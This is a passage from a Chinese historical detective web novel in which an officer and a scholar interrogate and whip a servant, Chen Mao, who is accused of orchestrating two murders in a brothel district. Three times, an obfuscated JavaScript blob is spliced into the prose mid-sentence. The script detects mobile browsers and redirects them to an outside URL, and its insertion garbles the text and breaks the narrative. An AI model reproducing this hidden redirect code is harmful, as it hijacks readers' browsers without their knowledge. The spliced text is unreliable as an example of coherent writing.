昨天早上谎称秦觅说了梦话,的确是诈他,不过是个恶趣味的玩笑,现在梦话却是听得真切。 或许是此人情态太过可怜,又或许是他跟自己原身有旧,慕天知才一时心软。 现在却觉得,自己就这么伸手过去有些冲动,想收回手,却被秦觅握得很紧。 不太想吵醒他,便没有再动了。 算是为案子考虑。 自己去审陈茂当然没有问题,人证物证加抓了个现行,不由此人抵赖。 只不过除了皇帝亲问的案件,涉及民间刑狱案,北镇抚司只有调查权,最终裁判权还在三法司和皇帝那里,慕天知更希望嫌疑人能够主动交代,并且交代得越多越好,才能办成难以被人撼动的铁案。 让秦觅参与,更有利于审讯,也能方便自己继续观察这位谜一样的秀才。 这人看起来天真无邪、人畜无害,但身上的疑点很多。 仅仅是心痹之症就可以放弃大好前程,不再继续念书? 当初家中到底出了什么意外? 如果是真心实意做郎中,为何不租个店面开个医馆?是不打算在曜京久居吗? 难道来曜京,纯是为了寻他的“小烽哥哥”? 他跟自己的原身到底有什么过往?值得这么刻意惦念? 如果真的惦念,为何进京后不直接来寻? 哪怕曾经上过门,遭遇过拒绝,也还说得过去,为何只是保持距离、远远观望? 以及,一个家乡离曜京颇有距离的百姓之子,如何与景国公世子产生这样深刻的羁绊? 慕天知端详着秦觅此刻安稳的睡颜,觉得颇有些费解。 他隐隐有猜测,却并不笃定。 夜里下过雨,第二天早上天气一片大好,阳光热情地照耀大地,仿佛昨夜的暴风雨只不过是一场幻觉。 秦觅再醒过来的时候,除了伤处还疼,心脏已经不难受了,身上也不再发冷。 不冷的原因无他,除了天气炎热外,还因为自己正被一个滚烫的怀抱从背后拥着。 手被人握着,两只手臂一起搭在腰间。 显然对方依旧没穿上衣。 自己也只是穿了件薄薄的中衣。 一层布料无论如何也挡不住那富有攻击性的体温。 还有存在感鲜明的……咳咳。 饶是两人已经有过那么一回事,自己还曾不知所谓地胡乱撩拨过,可这天光大亮的,实在是有些不妥。 秦觅试图把自己的手抽开,但只是轻轻一动,身后的人明显醒了,不仅立刻松开了他,还当即从床上下去。 等他转身坐起来的时候,人影都没了。 秦觅睡眼惺忪地盘腿坐在床上发了会儿呆,回想了昨夜到现在都发生了什么,依旧迷茫。 为何会这样睡在一起? 等慕天知再回来的时候,已经衣冠整齐,头上网巾像是重新束过,依旧是一身黑色的曳撒公服,宽肩窄腰,气质绝佳,英俊桀骜的面容配上冒出来的胡茬,有一种野性粗粝的魅力。 秦觅没有想问原因,但他并不知道,被自己这茫然又纯真的眼神盯着看,对方会有怎样的心理压力。 慕天知干咳了一声,并没有很想解释,但嘴有自己的想法:“你昨晚说梦话,还嚷着害怕,拉着我的手不放。” 再加上他几日没有休息好,不知不觉便睡了过去。 睡着了,四肢就产生了自我意志。 秀才身上发凉,酷暑夏夜,抱着他像抱着个竹夫人,实在舒服。 “我又说梦话?”秦觅眯着眼看他,有些不太相信,“这次说了什么?” 昨晚的梦有些混乱,他记不太清,但总体而言觉得睡得很安稳,不至于说什么梦话。 这次慕天知就理直气壮了,弯腰凑近他:“喊着小烽哥哥的名字,说害怕——你在怕什么?” 秦觅:“……” 他没想到自己还真这么说了,估计是昨晚的殊死搏斗让他想起了一些不愉快的往事。 但他没打算告诉慕天知,既然对方不记得,那自己说了也没意思。 “可能怕你太猛,弄疼了我。”秦觅弯着眼,轻易就做出一副在慕天知看来眼波流转、很是勾人的模样。 尤其满头乌黑长发如瀑布般披下,面色苍白,额头带伤,神情可怜,颈间的四叶草胎记被残留的紫色勒痕遮盖了大半——那勒痕被白皙的皮肤衬得触目惊心,像是尝试过什么刺激的玩法,跟他说的那句话产生了某种怪异的反应。 慕天知喉结上下一晃,冷笑:“你会怕这个?我看你喜欢得很。” 现在算是明白了,这秀才是真的不把自己的命当回事,活着就为了折腾。 图什么呢? “身子要是还能动,就起来洗漱,跟我回北镇抚司审陈茂。”他冷冷丢下这话,大步离开卧房。 到得院中,慕天知以指节做哨,“咻”地吹了几声,很快便有一个都衍卫翻过院墙跳进来,向他抱拳行礼:“大人有何吩咐?” “去买些早饭,再弄辆马车过来。”他吩咐道。 再回到房间中,便见秦觅挽好了发髻,露出纤长脆弱的脖颈,他穿了一件水绿色的圆领袍,同色发带垂下,纤瘦的腰身被腰带束住,整个人清爽如同林中翠竹,显得漂亮又精神。 慕天知问道:“身体可无碍?” “多谢大人及时相救,都是些外伤,没有大碍。”秦觅笑着对他拱手做礼,“金创药比我自己调的伤药见效快些,伤口已经不疼了。” “这里,需要遮一遮吗?”慕天知指了指自己的脖子。 秦觅摇了摇头:“无妨。” 等见了新鲜热乎的小笼包和豆腐脑,还有宽敞的马车,他就真的是发自内心的感谢了:“大人实在周全,小生惶恐。” “吃饱喝足好干活,本官从不亏待手下。”慕天知还分明记着他理直气壮在北镇抚司刑房点菜的模样,不太相信他这客套话。 秦觅也很想赶紧去跟陈茂理论一番,喝了一小碗豆腐脑,吃了两个小笼包便说饱了,剩下的全推给镇抚使大人打扫战场,很快两人便一起坐上了马车。 “据我所知,陈茂今年二十四岁,庆平人,因为天生比同龄人身形矮小,从小备受嘲笑。” 在马车上,秦觅将自己所了解的情况如实道来。 “或许是有过这样的经历,才能跟霍平拉近距离。”慕天知沉吟道。 “我想应该是。”秦觅点头道,“在他七八岁的时候,父亲因故得罪了尊长,被驱逐出了宗族,此后族谱上便没了他们一家三口这一脉,他们一家在当地更难安身立命,不得不离开家乡。” “陈茂也算命运坎坷,十三岁父母双亡,他卖身葬父,被东篱院的老鸨买了回去,因着其貌不扬、身形又矮,不是做小倌的材料,所幸人还机灵,能识字,又勤快,便留在那里做了龟公。” 慕天知想了想:“既然如此,他跟傲霜是从小一起长大,更是看着月临长大的?” “这些苦命的小孩大抵如此,打小就被卖进南风馆,在没能出头之前,都是挤在一起取暖的小鹌鹑,只是各自学的东西不一样。”秦觅轻声道,“傲霜月临这样的小倌,若是做错了事或者没好好练功,多是举着砖头罚站,毕竟他们的皮相最值钱,老鸨不会伤他们一丝一毫;但龟公们就不一样了,动辄挨打,还会被身强力壮的护院们欺负。” “傲霜曾是他们那拨小孩当中最出挑的,是未来院首的苗子,倚仗老鸨对他的另眼相看,他曾多次在棍棒下救出被打得奄奄一息的陈茂,两人间情同兄弟。” “情同兄弟?呵。” 刑房中,头脸上落了伤、手臂伤处包着白布的陈茂跪在地上,听到这话露出一抹冷笑。 此时的他,已经与平日里那个唯唯诺诺、见人就露出讨好笑意的龟公判若两人,普通得让人过目就忘的眉眼里俱是玉石俱焚的冷漠。 半个时辰前,秦觅和慕天知一同赶到了北镇抚司,听梅淼还有窦家兄弟汇报了昨晚其他调查结果之后,立刻提审了陈茂。 陈茂当场被抓,冒雨被押送回北镇抚司,给他疗伤的是戚鸾音,听说下手比较狠——毕竟戚姑娘平日里面对的都是死尸,而尸体是不会呼痛的。 按照慕天知的安排,他被关在了霍平相邻的牢房。 根据看守说,最开始霍平惊讶于陈茂也被抓了进来,还怯生生地不敢同他相认,后来便哭天抢地问他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427061|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有骗自己,若是死了,到底能不能跟爹娘团聚。 被当场抓获,又被好一通折腾的陈茂显然心情不怎么样,揭掉了以往与霍平相处时的假面具,再也不是那个和蔼的大哥哥,反而比任何人都能挖苦对方。 说的那些话连看守都不忍听,生怕霍平暴躁起来闹出意外,便将哭成个大泪人的他带去了隔壁牢房。 秦觅先去看过他,肿着双眼的傻孩子终于崩溃地向他坦白,指使自己杀人的,就是陈茂。 他那幻梦破灭的绝望模样,实在令人心如刀割。 这个可怜人,唯一所求的,不过就是无论天上人间,能再与唯一疼爱自己的父母重新相聚。 连骗骗他都不行么? “怎么?你不觉得你们之间是兄弟之情?” 再见陈茂,秦觅气上加气,但他知道,面对这种极为自负的人,绝对不能露出半点情绪受其摆布的模样,否则只会让他更加嚣张,于是表现得无比冷静,语调揶揄。 陈茂并没有回答这个问题,跪在地上仰头看他,唇角勾起一抹笑意:“秦大夫,是我小瞧了你,没想到你会亲自引我上钩,不过,你只能证明我想杀你,但我没杀成,别想把前边几桩命案栽在我身上!” 接着往旁边一瞥,扫了眼他并排而坐的慕天知,促狭地笑了笑,转回头再看秦觅,笑容中满是狎昵,显得十分猥琐:“你堂堂一名秀才,一个悬壶济世的郎中,居然真的卖屁股给他,自己有何脸面见你的列祖列宗?!” 慕天知身后站着的窦坤厉声道:“陈茂!身在北镇抚司,敢信口胡言,中伤朝廷命官,不怕大刑伺候?!” “我只是转述了秦大夫的话,若论中伤朝廷命官,这帐你们该跟他算,不是吗?”陈茂满不在乎地说。 慕天知面无表情道:“该怎么和他算账,不劳你操心,你若不喜欢秦秀才的审法,本官也可以让你领教一下北镇抚司的手段。” 目光不经意地扫过一旁支好的刑架和一排“琳琅满目”、泛着浓重血腥味儿的刑具。 “陈茂,你不必幻想抵赖,霍平已经把你指使他的事交代得很清楚。”秦觅沉声道,“七月初九凌晨,大雨将至之前,你从后门将他带去东篱院,等傲霜熟睡后,便让霍平将他勒死,并将尸体带至院中,剥掉衣服,任凭大雨冲刷,还在魄门中塞入他的金银珠宝,是不是?!” “七月十三凌晨,又是大雨夜,你让霍平趁护院不备,潜入竹影阁,自己从院墙下狗洞钻入与他会合,悄声进入寒柯房间,用同样的手法将他杀害,是不是?” 秦觅的目光一寸寸从陈茂脸上刮过,想要拆穿他此刻故作镇定的假面具。 “当夜并非是月临让你去向寒柯借琴,而是你故意提出此事,目的是为了去寒柯那边踩点,恰好听到了我同他和宋喜描述的死状,发觉正合你意,便决定‘采纳’这个想法,不是吗?只不过你双手尚未染血,割下男子器官这种事实在下不了手,便没有完全照做。但在寒柯死后,你狠狠打了他几下耳光,是不是憋了几年的气,终于发泄出来了?” 陈茂一直默不作声地看着他,此刻眼中划过一抹疑惑,像是惊讶他居然知道此事。 秦觅冷笑:“你当那么小的事情没人知道?可竹影阁的一名小倌记得清清楚楚,几年前你手脚不干净,去他们那儿送东西的时候,试图顺手牵羊客人的钱袋,被寒柯当场发现。他没有惊动客人,却把你拉到一边打了一通耳光,让你记住绝不能做三只手——” “他有什么资格教训我?”陈茂终于按捺不住开了口,“他觉得自己是清倌人就高人一等?早晚还不是要卖屁股?!他一个靠雌伏在男人身下、博取别人欢心来挣钱的人,配吗?!” 听到“雌伏在男人身下”,慕天知眉头微微一蹙,下意识偏头去看身旁的秦觅。 秦觅面色如常,像是并未被这话影响到。 “我俩之间是有过矛盾,但他是高高在上的院首,我怎么敢记恨他?!再说了,厌恶寒柯的人多了去了,谁都可能是凶手!” 陈茂镇定自若:“秦大夫,你别想将两桩凶案都栽到我头上,我什么都没干过,更不可能指使霍平——一个傻子的证词根本不足信,你凭什么说这些事是我所为?!” 24. 贰拾肆 秦觅对陈茂的矢口否认毫不意外,闻言露出了嘲弄的笑意。 “你选择霍平做你的刀,目的就是为了让自己脱身,对吧?”他勾起唇角,莞尔道,“觉得他人虽傻,但口却严,还很重情义,应了别人的事绝不会反悔,无论如何也不会把你供出来。就算供出来,那又如何?你可以推脱说傻子胡乱攀咬,反正现场没留下你的痕迹——人证不足,物证欠奉,告到圣上面前也没人能定你的罪?!” 陈茂面色阴沉地看着他,脸上明晃晃地写着“难道不是这样吗”的表情。 秦觅脸上笑意不减,端起桌上茶杯,轻轻啜了一口,与慕天知对视一眼,神情看起来意味深长。 慕天知也配合地冷笑了一声。 看到他俩这表情,陈茂明显有一点慌张。 “你们就是没有证据!如果有的话,还用得着你舍身引我入局?!”他大声道。 秦觅“哗啦”甩开手边的折扇,慢悠悠地说:“若你那么笃定自己不会暴露,又何苦欲盖弥彰地往现场放一些所谓‘物证’?实在是画蛇添足!” 慕天知坐在一旁,欣赏他声情并茂的演出,第一次觉得有人可以把扇子摇得那么好看。 潇洒飘逸,是一副天下尽在掌握的悠然自得,自信满满,好像浑身都在发光。 秦觅的确是非常投入,他知道陈茂内心是那种自负得不可一世的人,那自己必须要演出胜他无数倍的自信才能反控住对方。 “但你玩砸了,知道吗?”他停下手里的扇子,身体微微前倾,看着陈茂。 陈茂目光沉沉地看着他,不发一言。 “或许是你原本只想杀了傲霜一人,再加上那时孙老爷不在曜京——最初你并未想过要找人垫背,因为在你看来,你的计划无懈可击,根本不可能有人怀疑到你,所以害死傲霜那时,你没有留下任何指向别人的证据。可是后来,有些事发生了改变。” “你看到顺天府对这桩凶案并不上心,北镇抚司的长官……”秦觅斜了慕天知一眼,露出一个模糊的、称不上笑意的表情,继续道,“……也并不在意。是啊,死了一个低贱的小倌罢了,这条贱命,怎么值得尊贵的官老爷们浪费人力物力!” 慕天知身后的梅淼还有窦家兄弟面面相觑,尤其两个性子活泼的,表情十分不悦,耐不住想要为自家大人发声,被沉稳的窦乾以目光制止。 秦觅紧紧盯着陈茂:“你初尝胜果,发现从小到大一直被欺负的你,居然可以随心所欲把别人性命把玩在手中,那一刻,是不是觉得很爽、很过瘾?” 外面虽是白天,但这间刑房特意关紧了门窗,只留几个狭窄的天窗透气,室内四壁依旧点着火把,营造出一种紧张凝重的气氛。 在这幽暗光影中,秦觅的眼睛看起来黑漆漆的,深不见底,似乎不带任何人气,冰冷而透彻。 陈茂觉得自己在他面前无所遁形,后背窜起了一片冷汗。 “爽是会上瘾的,尝过第一次,就想有第二次。”秦觅不错眼珠地看着他,幽幽地说,“你早就对寒柯怀恨在心,于是很快如法炮制,为自己报了仇。” “可你怕事情闹大,会引起官府重视,所以第二次行动,你才开始为自己准备了替罪羊。” 他的语速陡然加快:“孙老爷恰好与你想杀的两人都有关系,又因着傲霜的缘故,你早就看他不顺眼,当然要拉他下水!” “于是,害死寒柯那夜,趁孙老爷前来凭吊傲霜,你与他攀谈时,借机从他的衣角上撕下一片布料留作‘线索’,等到了夜里,杀害了寒柯之后,你便借着大雨掩藏形迹,潜入了孙老爷所住的小院,偷走那件衣服,埋进了花园里!” “原本傲霜的房间里是没有证据的,但你利用顺天府和北镇抚司交接换岗之时,匆忙丢了那颗孙老爷衣服上早就丢失的珍珠到了床底——就算那天我与镇抚使大人都没看见,你也会想办法送到我们面前,对不对?” 陈茂原本镇定自若的表情裂开,露出了些许慌张:“没有!我没有!” “休要再矢口否认,孙府院墙外檐下有脚印可以跟你比对,当夜还有更夫看到有矮小身影从孙府进出,你敢不敢让他来认人?!你别忘了,跟孙昶真正起冲突的叫花子郑二还活着,他的证词可是非常有力!” 秦觅突然“啪”地一收折扇:“你以为你机关算尽便能万无一失,就算证据并不严丝合缝,但至少可以把孙昶拉入局中,反正嫌犯动机充分,你再跳出来做个人证,到时候人证物证俱在,还怕此案不结?” 说到这里,他陡然一停,露出了讥诮的笑意:“对了,你还亲手把‘凶器’交了出去。” “你当时应该还在思考,如何才能丢掉霍平这把刀,可真是想打瞌睡就送来了枕头,被你听说孙昶回京时曾与一个叫花子起了冲突。尽管你不能确定那个叫花子是谁,但你反应极快,当即刻意提到了张四,让我先入为主地以为是他,这样命案发生之后,就能把孙老爷和霍平联系到一起。” “你不怕弄错人,你甚至没去查一查跟孙老爷真正起冲突的叫花子是谁,因为那时候你已经决定唆使霍平去杀张四。第一,霍平与张四有仇,挑拨他动手易如反掌;第二,这个李代桃僵的事,完全可以归因于霍平心智不全!这样可以解释为,孙老爷让霍平去杀郑二,但霍平却因着怀有私仇杀错了张四!” “霍平本就是杀了这三人的凶手,孙老爷又有充分动机和买凶的本事,至此,一个看似完美的圈套就被你生掰硬拽地设成了,真假参半的证据混杂在一起,北镇抚司那么忙,说不定就此结案,你就可以高枕无忧了,是吗?” 秦觅猛地一拍旁边的书案,站起身喝道:“陈茂,你心里可还有公义和良知?!你为了一己私欲,利用霍平的无知和对你的信任,活活毁了本就一个可怜的人,你让他第一次意识到自己的力量,却不是用来自我保护,而是用来自我毁灭!” “甚至连霍平对你的信任,都是你骗来的!真正对他好的是傲霜!你所有用来跟霍平套近乎的食物和小玩意儿,全都是出自傲霜!你不过是借花献佛,却设计让霍平害死了他真正的恩公!你真是无耻又歹毒!” 秀才瘦削的身体一瞬间迸发出强大的能量,震惊了梅淼、窦家兄弟还有在场所有的都衍卫,更是吓得陈茂再也维持不住一直以来的冷静,面露惊恐。 唯有慕天知看出秦觅垂在身侧的手在发抖。 若是演的,那也演得太真了。 他是气愤?还是为一干无辜者心疼? 或许兼而有之。 有心痹之症的人,怕是不适宜这般动气。 “我没有!我没有!你胡说八道!”陈茂慌张地站起身,被两边的都衍卫给按回了地上,他惊慌失措地看向旁边书案后的慕天知,“大人明鉴,秦大夫他是疯的,他谎话连篇!我什么都没做过!” 慕天知冷冷地看着他:“那你昨天为什么又会出现在秦宅?难道不是觉得他也‘不干净’‘对不起祖宗’‘不配活着’?你看不起以色侍人、明明能赎身却贪恋富贵的小倌,所以杀了他们,现在面对这么不成器的秀才,你当然要再一次代天审判,不是吗?” “现在没了霍平不要紧,反正你觉得,秦秀才患有心痹之症,比傲霜寒柯之辈还要孱弱,绝对不是你的对手。况且秦秀才当晚一直破口大骂孙昶,这次再死一人,就能把孙昶的罪坐实!最最重要的是,看别人动手已经不够过瘾,你终于想自己尝试一下杀人的快.感,是不是?!可惜你高估了自己!” 见慕天知同样对自己的所有想法都洞若观火,陈茂陷入绝望,疯狂挣扎起来:“我没有!你们没有证据!你们这是血口喷人!傲霜公子对我恩重如山,他赎身之后还会带我一起离开东篱院,我、我怎么可能杀他?!不是我!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427062|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你就是这样自己骗自己的,是吗?”秦觅依旧站着,赤红的双眼睥睨着他,“觉得杀了他就是帮他赎罪,帮他转世重新投胎,又否认自己做过这事,还为他痛哭流涕,你内心到底有多么扭曲分裂?!” 陈茂怔了怔,仰头看着他,嘴唇颤抖着,说不出话来。 “你的确对他有感情,这感情如此深厚,就像一张被拉满的弓,让你对未来充满了无尽的希望。”秦觅嗓音发哑,低声道,“你想象着他用自己的钱给你们两个赎身,你俩就可以离开东篱院这个下贱的地方,另寻一处安宁的小院,从此朝夕相处。你鼓动他一定要用自己的钱,这样就会彻底跟孙老爷闹掰,这样傲霜就永远是你的了,或许长久之后,他还会对你动真情——” “别说了!别说了!不是这样!”陈茂被绑着的双手抱住脑袋,奋力大喊。 秦觅冷笑道:“可是你听他说暂时不赎身的时候,那张名为希望的弓,突然之间就‘啪’地断了!你愤怒至极,失去了所有耐心,决定玉石俱焚,自己得不到的,别人也别想得到!所以你决定杀了他,这样,至少你是夺走他生命的那个人,你那阴暗又可耻的控制欲终于得到了满足,不是吗?!” “不是!不是!”陈茂满脸是汗,眼睛瞪得几乎要爆出来,声嘶力竭地大喊,脖颈青筋暴露,“全都是你一面之词!是你恶意中伤!” “老实点!”两个都衍卫死死按住他。 秦觅身体前倾,垂眸看着他,目光中闪过一抹鄙夷的怜悯:“可你知道他为什么暂时决定不赎身吗?” 陈茂胸口剧烈起伏,茫然仰头,似乎没想到背后居然还有个原因。 他声音颤抖地问:“为、为什么?” “因为他拿出了自己一部分的赎身钱,去给你同宗那人修祠堂。”秦觅轻声道,“那人叫陈东,你也认识,他最先找的是你,还记得缘由吗?” 陈茂像是一瞬间明白了什么,眼睛骤然睁大,不可置信地喃喃道:“他、不,他不可信……傲霜公子真的……” “陈东承诺你,只要你肯掏钱,他就想办法把你的名字加回族谱,让你能重回庆平陈氏一脉,可你没有那么多钱,对这些所谓的宗族亲戚并不信任,你仍旧记得你们一家如何被赶出家乡,你又如何沦落到现在这个地步,所以你一口回绝了他。” “他不死心,知道你跟傲霜情同兄弟,你一个龟公没有钱,那曾经当过院首的小倌,怎么可能拿不出几百两银子?于是他去找了傲霜,巧言令色,满口打包票,夸大其词,说你多么想要被宗族认可,多么想回归家乡。” “你真的不想吗?你做梦都想恢复自由身,从此再也不用以龟公的身份卑贱地活着,你拒绝陈东不过是因为信不过他,你对自由和身份的渴望,傲霜怎么可能看不出来?所以他决心替你掏了这份钱,事先不告诉你,是因为他对陈东并非全然信任,可他愿意为你冒险!” “他想等陈东兑现承诺后,再给你一份惊喜,而不是让你空欢喜一场!” 陈茂双目红得滴血,满脸痛彻心扉,怒吼道:“不可能!你骗我!傲霜公子又不是无知小儿,他怎么会轻易相信陈东的话?!” “陈东已经被都衍卫带到了北镇抚司,你若不信,可以与他对质。”秦觅看着他,揶揄道,“傲霜是不傻,是他对你的心太纯粹,他一定是反复思量过,如果被骗,不过是没了三百两银子,等年底自己投的两家铺子发了分红就赚回来了;但如果没有被骗,将来他帮你赎身后,你就是堂堂正正的庆平陈氏男儿,此生之前一切遭遇全都一笔勾销,将来不管你做什么,都会是一片坦途!” “他所做的一切都是为了你,而你回报了他什么?” “那些钱是他抛却尊严得来的,是你雌伏在男人身下得来的,花在了你身上,却又得到了什么结果?” “陈茂,你对得起他吗?!” 25. 贰拾伍 “不是真的……不是真的……”陈茂的精神显然已经被击溃,再不复先前的镇定自若,而是疯狂咆哮,“他不可能这么做!不可能!他根本没把我的话放在心上,怎么可能为我做这些?!” 慕天知从案上拿起一个厚实的信封,从里边掏出一张纸,冷淡道:“这是在傲霜房中发现的,或许只是一时兴起写下的‘遗产’分配,月临赎身金额高,所以他留给月临的多一些,但他同样为你安排好了后半生的生活。他的笔迹你应该很熟悉,自己看看吧!” 窦坤把那张纸举到陈茂面前,让他能看个清楚明白。 陈茂痴痴呆呆地盯着面前的信笺,看到熟悉的字迹,温馨的话语,眼泪大颗大颗地从眼眶中掉落,伸手想去抓,窦坤怕他玷污了证据,立刻向后退开。 “别拿走!”陈茂疯狂地起身扑过去,被看守他的都衍卫按住,他只能目光紧紧盯着那张纸,仿佛那是他见到的傲霜的最后一面。 秦觅看着他这副模样,嘲讽道:“何必再假装深情?你以为你做的一切都合情合理,你对傲霜、寒柯乃至我这样‘自甘堕落’的人,哀其不幸怒其不争,你站在至高无上的道德审判台上,判我们有罪、该死,你心中从无对他人的半分感情,只有你自己!只为满足你的控制欲!” “我不认!我不认!”陈茂痛哭流涕,但依旧打算顽抗到底,他双手掩面嚎啕大哭,“傲霜公子对我的好我铭记于心,但你不能空口污蔑我!就算陈东与我对质又如何?他不能证明我是凶手!凶手是霍平!指使者是孙昶,一切与我无关!” 梅淼实在沉不住气,破口大骂:“混账!事到如今还不悔罪!你的良心被狗吃了吗?!” “要证据是吗?此前已经说了不少,若你还觉得不满意,那本官不妨再多给你看些。”慕天知冷笑道,向一旁伸手。 窦乾连忙拿过一个竹筐递上前来。 慕天知从里边拈出几个比枣核大不了多少的纸团,一字排开放在桌上,挑眼看过去:“这些东西,你认识吗?” 陈茂看着纸团,紧张地吞了吞口水。 慕天知拆开第一个,皱巴巴的纸上画着一个人和一个碗,还有一牙弯弯的月亮:“这个画的是什么意思,你不会不明白。” “这个是、是哥哥晚上给我,送、送吃的。”霍平指着这张纸,结结巴巴地说。 在提审陈茂之前,慕天知和秦觅先来见了霍平,此时的他已被转移到一间厢房软禁下来,情绪恢复镇定之后,很配合地介绍了都衍卫在他的家里搜出来的一些小玩意。 秦觅指向另一张,上边画着猫咪的样子还有一条小鱼:“这个呢?” “要我记得喂小猫。”霍平抠了抠手指头。 再有一张画着小人和绳索,背景是一栋大房子,他神色黯然了下去:“让我带、带绳子去、去他那里。” “你为了不暴露自己,经常半夜三更才去霍平家见他,平日里不便出现的时候,就传纸条给他,他不识字,你就画只属于你们俩能懂的图画。” 刑房中,慕天知看着地上跪着的陈茂,沉声道。 秦觅修长纤瘦的手指捏着一张纸条对他展示,画上是一个躺在地上的小人,旁边写了“张四”两个字:“这张,应该是你唆使霍平去杀张四的证据,因为图画很难明确指出张四的身份,而这两个字很简单,霍平认得,所以你干脆写了字。要不要我们对对笔迹?” “对什么笔迹?就这两个字能对出什么来?!”陈茂慌张地说,“就凭这能证明什么——” 慕天知冷声道:“纸张和墨汁都跟你枕头下藏着的文房四宝如出一辙,你如何抵赖?”又展开一团纸条,指着纸的背面一抹印记,“这里留下了手印,跟你的手指对比一下,你觉得会有什么结果?” “你是不是完全没想到,霍平因为太信任你,太珍惜你对他的好,把你给他的所有一切,哪怕这样随手可以丢弃的纸条,全都按照本来的样子完好地保存了起来?”秦觅望着陈茂,平静地说,“你只顾着想利用他,并非真心关心他,但凡你多去几次他家里,都会发现这些——是不是他家太小、太破、太臭,你根本不想进去?” 陈茂慌张地转着眼珠,来来回回看着面前这些纸条,哆哆嗦嗦地说:“不、不!这是你们栽赃陷害!我没有、你们没证据证明这是我给他的!” “方才我说过,霍平把你给他的纸条,按照原本的样子保存了起来,为什么这原本的样子,是小纸团的样子,你还记得吗?”秦觅意味深长地看着他。 慕天知对梅淼做了个手势,姑娘一点头,转身出门,片刻后抱着一只猫回来,赫然是那只极通人性的虎威将军! 看到猫咪,陈茂的脸当即白了三分。 秦觅接过虎威将军,把它放在了桌案上,拿起一个未拆开的纸团,放在了它颈下的铃铛旁边比了比大小:“陈茂,你是这样的做的吗?” “不是!不是!”陈茂疯狂地摇头,“不是!” 慕天知怒道:“还敢狡辩?!当日在东篱院,我们亲眼所见,这只狸花猫对你多么熟悉,而秦秀才又亲眼看到,它跟霍平往来甚密。野猫虽然居无定所,但它会在自己划定好的地盘上有规律地巡查,每天至少都会走上一圈。你和霍平喂惯了它,它每天晌午会去东篱院,傍晚就去霍平家附近,你正是把要传给他的纸条塞进铃铛里,才保证万无一失!” “陈茂,你以为一切尽在掌握,以为可以神不知鬼不觉地瞒天过海,可是人在做,天在看,你自以为可以代天审判妄夺他人性命,就没想过老天爷也会同样让你付出代价?!”秦觅厉声道。 慕天知站起身:“来人,让他印下十指指印,跟证据上的痕迹做对比,然后给我把他绑到刑架上去!” “遵命!” 看管陈茂的都衍卫拿过印泥盒子,捏着他的每一根手指,使劲儿在白纸上印下清晰指痕。 陈茂无话可说,反抗也毫无作用,面色比先前白得更加明显,额头两鬓汗水直流。 直到被绑上刑架,他才瑟瑟发抖起来,大声为自己争辩:“镇抚使大人,你不能这么草菅人命!不是我干的!不是我!我没有杀人!” “气死我了,这种忘恩负义的人就不配活在这个世上!”梅淼主动请命,“大人,让我去抽他个九九八十一鞭!” 慕天知冷笑:“稍后会给你机会。”说罢便伸出手去,旁边窦乾恭敬地递上皮鞭。 他对身旁的秦觅道:“秦秀才,你们读书人见不得这个,若是想回避,现在离开便是。” “不然。”秦觅站起身,负手道,“荀子曰,‘罪至重而刑至轻,庸人不知恶矣,乱莫大焉。’证据确凿,他却不认罪,自然要小惩大诫。” “那你要亲自来吗?”慕天知促狭道。 秦觅轻笑拱手:“辛苦大人代劳。” 慕天知冲他莞尔,大步走到陈茂面前,“嗖”地抖开长鞭,抬臂猛地一挥,皮鞭狠狠抽在人的皮肤上面,发出了清脆的爆响。 秦觅光听着,就觉得那一定很疼。 陈茂的上衣立竿见影地被抽破了一道口子,他“嗷”地一声大喊出来,才知道小时候受的那些罪跟这北镇抚司的刑罚比起来,不过是九牛一毛。 他的眼前忽然幻视出傲霜的身影,那样瘦削的少年,曾经不惜被误伤,毅然决然挡在自己身前。 现在呢? 还没反应过来,身上又“啪”地挨了一下,皮开肉绽的疼痛顺着皮肤直接窜上了天灵盖,痛得他头皮发麻。 “饶命啊大人!饶命!”陈茂嚎啕大哭起来。 这样的画面慕天知见多了,他完全不为所动,面色冷厉如同勾魂鬼使,看起来轻飘飘地一抬手,落下的鞭子几乎要抽碎对方的神魂! “敬酒不吃吃罚酒!”窦坤站在旁边吼道,“若你早早认罪,不就省了这一顿皮肉之苦?证据确凿还负隅顽抗,打死你都不冤!” 梅淼也义愤填膺道:“老娘我长这么大,就没见过你这么无情无义的人,你砍头之后,有什么脸到地下去见傲霜?!” 秦觅表情淡漠地看着慕天知一下一下抽着陈茂,心如刀绞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接着轻笑一声,又道:“无论如何,秦秀才的贡献,我是认的。若非你一早揣测到了陈茂的动机和行为方式,又以身入局,引他主动现身,这案件可能还需要一些时日。” “哦?大人不觉得我是猜测了?”秦觅促狭道。 “猜测与直觉,中间区别并不大。”慕天知坦然道,“大胆假设小心求证,并无不可。” 他知道自己这么说有些双标,但此一时彼一时,没必要否认别人的功劳。 秦觅冲他看过去,弯了弯眼睛:“陈茂显然与寻常人思维方式有异,我能揣测到他的想法,大人不会觉得我与他是同道中人吗?不担心我走上邪路了?” 